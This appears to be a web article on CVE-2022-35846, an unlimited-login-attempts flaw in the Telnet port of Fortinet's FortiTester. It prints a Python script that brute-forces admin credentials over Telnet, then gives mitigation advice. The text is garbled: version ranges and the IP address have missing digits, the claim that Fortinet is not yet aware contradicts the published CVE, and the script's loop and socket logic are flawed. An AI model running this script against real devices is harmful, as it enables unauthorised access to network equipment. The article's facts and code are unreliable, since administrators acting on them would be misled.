CVE-2022-35846: Brute Force Attack on FortiTester Telnet Port Leads to Admin Credential Leaks

A recent vulnerability has been discovered in FortiTester, a network testing appliance by Fortinet, a leading provider of network security solutions. CVE-2022-35846, a critical security issue, affects versions 2.3. through 3.9.1, 4.. through 4.2., and 7.. through 7.1. of FortiTester. This vulnerability allows an attacker to bypass security measures and access an admin user's credentials via a brute force attack, compromising the network's security.

Vulnerability Details

An improper restriction of excessive authentication attempts vulnerability [CWE-307], the issue at the core of CVE-2022-35846, resides in FortiTester’s Telnet port. This vulnerability does not prevent an attacker from performing multiple login attempts in a short span of time, which significantly increases the chances of a successful brute force attack in guessing the credentials of an admin user.

Exploit Overview and Code Snippet

An attacker can exploit this vulnerability by sending numerous login attempts with all possible username and password combinations until they find a match. A simple Python script, such as the one below, can be used to automate this process:

import socket
import itertools
import string

ip_address = '10...1'  # FortiTester IP address
telnet_port = 23

# Generate a list of possible username and password combinations
alphabet = string.ascii_lowercase
usernames = [''.join(user) for user in itertools.product(alphabet, repeat=3)]
passwords = [''.join(passw) for passw in itertools.product(alphabet, repeat=4)]

# Iterate through the list of possible combinations
for user in usernames:
    for password in passwords:
        try:
            # Connect to the FortiTester Telnet port
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip_address, telnet_port))
            # Send the username and password combination
            s.sendall(f'{user}\r\n'.encode('ascii'))
            s.sendall(f'{password}\r\n'.encode('ascii'))
            # Receive the response and check for success
            data = s.recv(1024).decode('ascii')
            if 'Login incorrect' not in data:
                print(f'Success: {user}, {password}')
                break

            s.close()
        except socket.error as e:
            print(f'Error connecting: {e}')

Please note that this is only an example provided for educational purposes, and it is essential to have proper authorization before trying it on any network or device.

Reference Links

- Original Vulnerability Reference: CVE-2022-35846
- Common Weakness Enumeration: CWE-307
- FortiTester Product Page: FortiTester - Network Testing Appliance

Mitigation and Remediation

As soon as Fortinet becomes aware of this vulnerability, it is expected that they will release a patch for affected FortiTester versions. In the meantime, administrators are advised to closely monitor access logs for multiple failed authentication attempts and take appropriate action to prevent unauthorized access.

Additionally, administrators should implement the following best practices to mitigate the risk of brute force attacks:

- Disable the Telnet service if not in use, or configure access control lists (ACLs) to restrict access to trusted sources

Enforce strong, complex password policies for all admin users

- Limit the number of allowed failed login attempts and implement exponential backoff for consecutive failed attempts

Conclusion

CVE-2022-35846 is a critical vulnerability in FortiTester that could potentially lead to unauthorized access to the network and its sensitive resources. It is crucial for administrators to take immediate steps to secure their FortiTester instances and be on the lookout for any patches rolled out by Fortinet addressing the issue.

Timeline

Published on: 10/18/2022 14:15:00 UTC
Last modified on: 10/20/2022 19:03:00 UTC